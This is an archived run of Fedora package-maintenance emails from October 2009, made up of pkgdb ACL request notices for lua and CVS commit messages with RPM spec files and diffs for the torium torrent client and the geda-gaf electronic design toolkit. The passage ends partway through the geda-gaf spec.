To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:25:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:25:19 +0000
Subject: [pkgdb] lua: salimma has requested commit
Message-ID: <20091003222520.C924610F7EA@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:22:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:22:45 +0000
Subject: [pkgdb] lua: salimma has requested commit
Message-ID: <20091003222245.4DFB810F86A@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:25:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:25:09 +0000
Subject: [pkgdb] lua: salimma has requested watchbugzilla
Message-ID: <20091003222509.EEDD610F86A@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:22:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:22:56 +0000
Subject: [pkgdb] lua: salimma has requested approveacls
Message-ID: <20091003222256.80E2A10F86A@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:22:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:22:41 +0000
Subject: [pkgdb] lua: salimma has requested watchcommits
Message-ID: <20091003222241.90BC610F7C4@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:23:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:23:46 +0000
Subject: [pkgdb] lua: salimma has requested watchbugzilla
Message-ID: <20091003222346.D8F7610F86A@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/lua



From leigh123linux at fedoraproject.org  Sat Oct  3 22:36:01 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sat,  3 Oct 2009 22:36:01 +0000 (UTC)
Subject: rpms/torium/devel import.log, NONE, 1.1 torium.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091003223601.BC89E11C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21694/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log torium.spec 
Log Message:
Import



--- NEW FILE import.log ---
torium-0_4_2-3_fc11:HEAD:torium-0.4.2-3.fc11.src.rpm:1254609193


--- NEW FILE torium.spec ---
Name:           torium
Version:        0.4.2
Release:        3%{?dist}
Summary:        A minimalistic, easily configurable torrent client for Linux 

Group:          Applications/Internet
License:        ISC
URL:            http://bithack.se/projects/torium
Source0:        http://downloads.sf.net/torium/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: rb_libtorrent-devel >= 0.13, gtkmm24-devel, libnotify-devel, boost-devel
BuildRequires: desktop-file-utils  
       

%description
A minimalistic, easily configurable torrent client for Linux.

%prep
%setup -q


%build
%configure --disable-schemas-install
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

desktop-file-install                                    \
--delete-original                                       \
--add-category=FileTransfer                             \
--remove-key=Encoding                                   \
--remove-key=NotShowIn                                  \
--dir=$RPM_BUILD_ROOT%{_datadir}/applications              \
$RPM_BUILD_ROOT/%{_datadir}/applications/torium.desktop

%post
update-desktop-database &> /dev/null || :

%postun
update-desktop-database &> /dev/null || :


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING NEWS README
%{_bindir}/torium
%{_datadir}/applications/torium.desktop
%{_datadir}/torium


%changelog
* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-3
- Make review changes
- re-add the flags as the flag policy was revoked
- fix desktop file
- add disable-schemas-install to configure

* Thu Oct 01 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-2
- clean up spec file
- add patch to remove country flags
- add scriptlets to update-desktop-database

* Thu Oct 01 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-1
- rebuilt
- add Br gtkmm24-devel, libnotify-devel & boost-devel

* Fri Feb 27 2009  leigh scott <leigh123linux at googlemail.com> - 0.3.1-1
- First build


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/torium/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:21:08 -0000	1.1
+++ .cvsignore	3 Oct 2009 22:36:00 -0000	1.2
@@ -0,0 +1 @@
+torium-0.4.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/torium/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:21:09 -0000	1.1
+++ sources	3 Oct 2009 22:36:00 -0000	1.2
@@ -0,0 +1 @@
+fa1980cef7e248dbd82526f247541442  torium-0.4.2.tar.gz



From leigh123linux at fedoraproject.org  Sat Oct  3 22:51:35 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sat,  3 Oct 2009 22:51:35 +0000 (UTC)
Subject: rpms/torium/F-12 sources,1.1,1.2
Message-ID: <20091003225135.CCCE911C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30111

Modified Files:
	sources 
Log Message:
Import



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/torium/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:21:09 -0000	1.1
+++ sources	3 Oct 2009 22:51:35 -0000	1.2
@@ -0,0 +1 @@
+fa1980cef7e248dbd82526f247541442  torium-0.4.2.tar.gz



From leigh123linux at fedoraproject.org  Sat Oct  3 22:53:52 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sat,  3 Oct 2009 22:53:52 +0000 (UTC)
Subject: rpms/torium/F-10 sources,1.1,1.2
Message-ID: <20091003225352.950C911C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31661

Modified Files:
	sources 
Log Message:
* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-4
- preserve the time stamps of the flags



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/torium/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:21:09 -0000	1.1
+++ sources	3 Oct 2009 22:53:51 -0000	1.2
@@ -0,0 +1 @@
+fa1980cef7e248dbd82526f247541442  torium-0.4.2.tar.gz



From leigh123linux at fedoraproject.org  Sat Oct  3 22:57:22 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sat,  3 Oct 2009 22:57:22 +0000 (UTC)
Subject: rpms/torium/F-10 torium.spec,NONE,1.1
Message-ID: <20091003225722.09C8C11C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv838

Added Files:
	torium.spec 
Log Message:



--- NEW FILE torium.spec ---
Name:           torium
Version:        0.4.2
Release:        4%{?dist}
Summary:        A minimalistic, easily configurable torrent client for Linux 

Group:          Applications/Internet
License:        ISC
URL:            http://bithack.se/projects/torium
Source0:        http://downloads.sf.net/torium/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: rb_libtorrent-devel >= 0.13, gtkmm24-devel, libnotify-devel, boost-devel
BuildRequires: desktop-file-utils  
       

%description
A minimalistic, easily configurable torrent client for Linux.

%prep
%setup -q


%build
%configure --disable-schemas-install
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install INSTALL='install -p'

desktop-file-install                                    \
--delete-original                                       \
--add-category=FileTransfer                             \
--remove-key=Encoding                                   \
--remove-key=NotShowIn                                  \
--dir=$RPM_BUILD_ROOT%{_datadir}/applications              \
$RPM_BUILD_ROOT/%{_datadir}/applications/torium.desktop

%post
update-desktop-database &> /dev/null || :

%postun
update-desktop-database &> /dev/null || :


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING NEWS README
%{_bindir}/torium
%{_datadir}/applications/torium.desktop
%{_datadir}/torium


%changelog
* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-4
- preserve the time stamps of the flags

* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-3
- Make review changes
- re-add the flags as the flag policy was revoked
- fix desktop file
- add disable-schemas-install to configure

* Thu Oct 01 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-2
- clean up spec file
- add patch to remove country flags
- add scriptlets to update-desktop-database

* Thu Oct 01 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-1
- rebuilt
- add Br gtkmm24-devel, libnotify-devel & boost-devel

* Fri Feb 27 2009  leigh scott <leigh123linux at googlemail.com> - 0.3.1-1
- First build



From leigh123linux at fedoraproject.org  Sat Oct  3 23:03:15 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sat,  3 Oct 2009 23:03:15 +0000 (UTC)
Subject: rpms/torium/F-12 torium.spec,NONE,1.1
Message-ID: <20091003230315.C49FD11C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3911

Added Files:
	torium.spec 
Log Message:



--- NEW FILE torium.spec ---
Name:           torium
Version:        0.4.2
Release:        4%{?dist}
Summary:        A minimalistic, easily configurable torrent client for Linux 

Group:          Applications/Internet
License:        ISC
URL:            http://bithack.se/projects/torium
Source0:        http://downloads.sf.net/torium/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: rb_libtorrent-devel >= 0.13, gtkmm24-devel, libnotify-devel, boost-devel
BuildRequires: desktop-file-utils  
       

%description
A minimalistic, easily configurable torrent client for Linux.

%prep
%setup -q


%build
%configure --disable-schemas-install
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install INSTALL='install -p'

desktop-file-install                                    \
--delete-original                                       \
--add-category=FileTransfer                             \
--remove-key=Encoding                                   \
--remove-key=NotShowIn                                  \
--dir=$RPM_BUILD_ROOT%{_datadir}/applications              \
$RPM_BUILD_ROOT/%{_datadir}/applications/torium.desktop

%post
update-desktop-database &> /dev/null || :

%postun
update-desktop-database &> /dev/null || :


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING NEWS README
%{_bindir}/torium
%{_datadir}/applications/torium.desktop
%{_datadir}/torium


%changelog
* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-4
- preserve the time stamps of the flags

* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-3
- Make review changes
- re-add the flags as the flag policy was revoked
- fix desktop file
- add disable-schemas-install to configure

* Thu Oct 01 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-2
- clean up spec file
- add patch to remove country flags
- add scriptlets to update-desktop-database

* Thu Oct 01 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-1
- rebuilt
- add Br gtkmm24-devel, libnotify-devel & boost-devel

* Fri Feb 27 2009  leigh scott <leigh123linux at googlemail.com> - 0.3.1-1
- First build



From leigh123linux at fedoraproject.org  Sat Oct  3 23:04:37 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sat,  3 Oct 2009 23:04:37 +0000 (UTC)
Subject: rpms/torium/F-11 torium.spec,NONE,1.1
Message-ID: <20091003230437.8C63D11C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4864

Added Files:
	torium.spec 
Log Message:



--- NEW FILE torium.spec ---
Name:           torium
Version:        0.4.2
Release:        4%{?dist}
Summary:        A minimalistic, easily configurable torrent client for Linux 

Group:          Applications/Internet
License:        ISC
URL:            http://bithack.se/projects/torium
Source0:        http://downloads.sf.net/torium/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: rb_libtorrent-devel >= 0.13, gtkmm24-devel, libnotify-devel, boost-devel
BuildRequires: desktop-file-utils  
       

%description
A minimalistic, easily configurable torrent client for Linux.

%prep
%setup -q


%build
%configure --disable-schemas-install
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make DESTDIR=$RPM_BUILD_ROOT install INSTALL='install -p'

desktop-file-install                                    \
--delete-original                                       \
--add-category=FileTransfer                             \
--remove-key=Encoding                                   \
--remove-key=NotShowIn                                  \
--dir=$RPM_BUILD_ROOT%{_datadir}/applications              \
$RPM_BUILD_ROOT/%{_datadir}/applications/torium.desktop

%post
update-desktop-database &> /dev/null || :

%postun
update-desktop-database &> /dev/null || :


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING NEWS README
%{_bindir}/torium
%{_datadir}/applications/torium.desktop
%{_datadir}/torium


%changelog
* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-4
- preserve the time stamps of the flags

* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-3
- Make review changes
- re-add the flags as the flag policy was revoked
- fix desktop file
- add disable-schemas-install to configure

* Thu Oct 01 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-2
- clean up spec file
- add patch to remove country flags
- add scriptlets to update-desktop-database

* Thu Oct 01 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-1
- rebuilt
- add Br gtkmm24-devel, libnotify-devel & boost-devel

* Fri Feb 27 2009  leigh scott <leigh123linux at googlemail.com> - 0.3.1-1
- First build



From leigh123linux at fedoraproject.org  Sat Oct  3 22:52:55 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sat,  3 Oct 2009 22:52:55 +0000 (UTC)
Subject: rpms/torium/F-11 sources,1.1,1.2
Message-ID: <20091003225255.31FFF11C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30647

Modified Files:
	sources 
Log Message:
* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-4
- preserve the time stamps of the flags



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/torium/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:21:09 -0000	1.1
+++ sources	3 Oct 2009 22:52:55 -0000	1.2
@@ -0,0 +1 @@
+fa1980cef7e248dbd82526f247541442  torium-0.4.2.tar.gz



From leigh123linux at fedoraproject.org  Sat Oct  3 22:45:01 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Sat,  3 Oct 2009 22:45:01 +0000 (UTC)
Subject: rpms/torium/devel torium.spec,1.1,1.2
Message-ID: <20091003224501.B986E11C00E5@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27291

Modified Files:
	torium.spec 
Log Message:
* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-4
- preserve the time stamps of the flags



Index: torium.spec
===================================================================
RCS file: /cvs/pkgs/rpms/torium/devel/torium.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- torium.spec	3 Oct 2009 22:36:00 -0000	1.1
+++ torium.spec	3 Oct 2009 22:45:01 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           torium
 Version:        0.4.2
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        A minimalistic, easily configurable torrent client for Linux 
 
 Group:          Applications/Internet
@@ -27,7 +27,7 @@ make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT
+make DESTDIR=$RPM_BUILD_ROOT install INSTALL='install -p'
 
 desktop-file-install                                    \
 --delete-original                                       \
@@ -57,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-4
+- preserve the time stamps of the flags
+
 * Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-3
 - Make review changes
 - re-add the flags as the flag policy was revoked



From chitlesh at fedoraproject.org  Sat Oct  3 22:43:34 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sat,  3 Oct 2009 22:43:34 +0000 (UTC)
Subject: rpms/geda-gaf/devel geda-gaf.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091003224335.03D9211C00E5@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/geda-gaf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26005/devel

Modified Files:
	.cvsignore sources 
Added Files:
	geda-gaf.spec import.log 
Log Message:
v1.5.4


--- NEW FILE geda-gaf.spec ---
# As from 1.5, all the submodules of geda-gaf are packaged by upstream into one
# big tarball having %%{name} as gEDA-gaf. This requires a new fedora package
# review and obsoleting the old geda-* packages fedora was providing, which 
# explains the use of Epoch.

# Date : 31 August 2009, Chitlesh Goorah
%define         snap   20090830

Name:           geda-gaf
Epoch:          1
Version:        1.5.4
Release:        2%{?dist}
Summary:        Design Automation toolkit for electronic design

Group:          Applications/Engineering
License:        GPLv2
URL:            http://www.geda.seul.org
Source0:        http://geda.seul.org/devel/v1.5/%{version}/gEDA-gaf-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  desktop-file-utils gettext-devel gawk intltool
BuildRequires:  gd-devel libtool-ltdl-devel shared-mime-info

Requires:       geda-docs      = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gattrib   = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gschem    = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gnetlist  = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gsymcheck = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-utils     = %{?epoch:%{epoch}:}%{version}-%{release}


%description
The GPL Electronic Design Automation (gEDA) project has produced and
continues working on a full GPL'd suite and toolkit of Electronic
Design Automation tools. These tools are used for electrical circuit
design, schematic capture, simulation, prototyping, and production.

Currently, the gEDA project offers a mature suite of free software
applications for electronics design, including schematic capture,
attribute management, bill of materials (BOM) generation, netlisting
into over 20 netlist formats, analog and digital simulation, and
printed circuit board (PCB) layout.


%package      -n  libgeda
Summary:          Libraries for the gEDA project
Group:            Development/Libraries
BuildRequires:    gtk2-devel
BuildRequires:    guile-devel
Requires(post):   /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description  -n  libgeda
This package contains libgeda, the library needed by gEDA applications.


%package      -n  libgeda-devel
Summary:          Development files for the libgeda library
Group:            Development/Libraries
Requires:         libgeda          = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         gtk2-devel
Requires:         guile-devel
Requires:         pkgconfig

%description  -n  libgeda-devel
Development files for libgeda library


%package      -n  geda-symbols
Summary:          Electronic symbols for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
BuildRequires:    transfig

%description  -n  geda-symbols
This package contains a bunch of symbols of electronic devices
used by gschem, the gEDA project schematic editor.


%package      -n  geda-docs
Summary:          Documentation and Examples for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
Requires:         geda-symbols
Provides:         geda-examples     = %{epoch}:%{version}-%{release}
Obsoletes:        geda-examples     < 20090830-2

%description  -n  geda-docs
This package contains documentation and examples for the gEDA project.


%package      -n  geda-gattrib
Summary:          Attribute editor for gEDA
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gattrib
Gattrib is gEDA's attribute editor. It reads a set of gschem .sch files
(schematic files), and creates a spreadsheet showing all components in
rows, with the associated component attributes listed in the columns.
It allows the user to add, modify, or delete component attributes outside
of gschem, and then save the .sch files back out. When it is completed,
it will allow the user to edit attributes attached to components, nets,
and pins. (Currently, only component attribute editing is implemented;
pin attributes are displayed only, and net attributes are TBD.)


%package      -n  geda-gnetlist
Summary:          Netlister for the gEDA project
Group:            Applications/Engineering
BuildRequires:    libstroke-devel
Requires:         geda-symbols

%description  -n  geda-gnetlist
Gnetlist generates netlists from schematics drawn with gschem
(the gEDA schematic editor). Possible output formats are:
- native
- tango
- spice
- allegro
- PCB
- verilog
and others.


%package      -n  geda-gschem
Summary:          Electronics schematics editor
Group:            Applications/Engineering
Requires(pre):    libgeda = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         geda-symbols
Requires:         geda-docs

%description  -n  geda-gschem
Gschem is an electronics schematic editor. It is part of the gEDA project.


%package      -n  geda-gsymcheck
Summary:          Symbol checker for electronics schematics editor
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gsymcheck
Gsymcheck is a utility to check symbols for gschem.
It is part of the gEDA project.


%package      -n  geda-utils
Summary:          Several utilities for the gEDA project
Group:            Applications/Engineering
Requires:         geda-symbols
%if 0%{?fedora} > 6
BuildRequires:    perl-libs
%endif


%description  -n  geda-utils
Several utilities for the gEDA project.


%prep
%setup -q -n gEDA-gaf-%{version}

# Fixing rpmlints wrong-file-end-of-line-encoding
for f in `find gnetlist/tests -name \*.net -or -name \*.pads | sort` ; do
   echo -n -e "... Fixing the end-of-line encodings of $f  \t"
   sed -i.bak -e 's|\r||g' $f
   touch -r $f.bak $f
   %{__rm} -f $f.bak
   echo "done"
done

# rpmlint zero-length
%{__rm} -f utils/tests/gxyrs/outputs/*-error
%{__rm} -f gnetlist/tests/common/outputs/drc/multiequal-output.net
%{__rm} -f gnetlist/tests/common/outputs/futurenet2/SlottedOpamps-output.net
%{__rm} -f gnetlist/tests/common/outputs/switcap/SlottedOpamps-output.net

# rpmlint UTF-8
for f in symbols/{AUTHORS,ChangeLog-1.0} gschem/ChangeLog; do
   iconv -f ISO-8859-1 -t UTF-8 $f > $f.tmp && \
      ( touch -r $f $f.tmp ; %{__mv} -f $f.tmp $f ) || \
      %{__rm} -f $f.tmp
done

# Fixing rpaths
%if "%{_libdir}" != "/usr/lib"
sed -i -e 's|"/lib /usr/lib|"/%{_lib} %{_libdir}|' configure
%endif

%build

%configure  --disable-static
%{__make} %{?_smp_mflags}


%install
%{__rm} -rf %{buildroot}
%{__make} INSTALL="%{_bindir}/install -p" install DESTDIR=%{buildroot}


desktop-file-install --vendor "" \
    --dir %{buildroot}%{_datadir}/applications \
    --delete-original                          \
    %{buildroot}%{_datadir}/applications/geda-gschem.desktop \
    %{buildroot}%{_datadir}/applications/geda-gattrib.desktop 


%{__rm} -f %{buildroot}%{_libdir}/*.la
%{__rm} -f %{buildroot}%{_datadir}/applications/mimeinfo.cache
%{__rm} -f %{buildroot}%{_datadir}/mime/{XMLnamespaces,aliases,generic-icons,globs,globs2,icons,magic,mime.cache,subclasses,treemagic,types}


# locale's
for i in libgeda37 geda-gattrib geda-gschem ; do
    if [ -d %{buildroot}%{_datadir}/locale/ ]; then
        for lang_dir in %{buildroot}%{_datadir}/locale/* ; do
            lang=$(basename $lang_dir)
            if [ -e %{buildroot}%{_datadir}/locale/$lang/LC_MESSAGES/$i.mo ] ; then
                echo "%lang($lang) %{_datadir}/locale/$lang/LC_MESSAGES/$i.mo" >> $i.lang
            fi
        done
    fi
done

install -d %{buildroot}%{_docdir}/gEDA-gaf/{examples,gnetlist,gsymcheck,utils}

# gschem
install -pm 644 gschem/examples/*.sch    %{buildroot}%{_docdir}/gEDA-gaf/examples
install -pm 644 gschem/examples/README.* %{buildroot}%{_docdir}/gEDA-gaf/examples

# gnetlist
%{__cp} -pr gnetlist/tests %{buildroot}%{_docdir}/gEDA-gaf/gnetlist
%{__cp} -pr gnetlist/docs/* %{buildroot}%{_docdir}/gEDA-gaf/gnetlist
%{__cp} -pr gnetlist/examples/* %{buildroot}%{_docdir}/gEDA-gaf/examples
%{__rm} -f %{buildroot}%{_docdir}/gEDA-gaf/gnetlist/gnetlist.{1,doc}

# gsymcheck
%{__cp} -pr gsymcheck/tests/ %{buildroot}%{_docdir}/gEDA-gaf/gsymcheck

# utils
%{__cp} -pr utils/tests %{buildroot}%{_docdir}/gEDA-gaf/utils
%{__cp} -pr utils/examples %{buildroot}%{_docdir}/gEDA-gaf/utils

find %{buildroot}%{_docdir} -name 'Makefile*' -exec rm -f '{}' \;


%post -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gschem
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-gschem
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
    update-mime-database %{_datadir}/mime &> /dev/null || :
fi

%posttrans -n geda-gschem
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gattrib
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-gattrib
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-gattrib
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n geda-utils
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-utils
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-utils
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n libgeda
update-mime-database %{_datadir}/mime &> /dev/null || :


%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ABOUT-NLS AUTHORS ChangeLog COPYING README NEWS


%files -n libgeda -f libgeda37.lang
%defattr(-,root,root,-)
%doc libgeda/{HACKING,ABOUT-NLS,ChangeLog*,BUGS,TODO}
%dir %{_datadir}/gEDA/
%dir %{_datadir}/gEDA/scheme
%{_libdir}/libgeda.so.*
%{_datadir}/gEDA/prolog.ps
%{_datadir}/gEDA/scheme/geda.scm
%{_datadir}/gEDA/system-gafrc
%{_datadir}/mime/packages/libgeda.xml


%files -n libgeda-devel
%defattr(-,root,root,-)
%{_includedir}/libgeda/
%{_libdir}/libgeda.so
%{_libdir}/pkgconfig/libgeda.pc


%files -n geda-symbols
%defattr(-,root,root,-)
%doc symbols/{AUTHORS,ChangeLog*,README,TODO}
%{_datadir}/gEDA/sym/
%dir %{_datadir}/gEDA/gafrc.d/
%{_datadir}/gEDA/gafrc.d/geda-clib.scm
%{_datadir}/mime/application/x-geda-symbol.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-symbol.*


%files -n geda-docs
%defattr(-,root,root,-)
%dir %{_docdir}/gEDA-gaf/
%doc %{_docdir}/gEDA-gaf/man
%doc %{_docdir}/gEDA-gaf/wiki
%doc %{_docdir}/gEDA-gaf/examples
%doc %{_docdir}/gEDA-gaf/gedadocs.html
%doc %{_docdir}/gEDA-gaf/nc.pdf


%files -n geda-gattrib -f geda-gattrib.lang
%defattr(-,root,root,-)
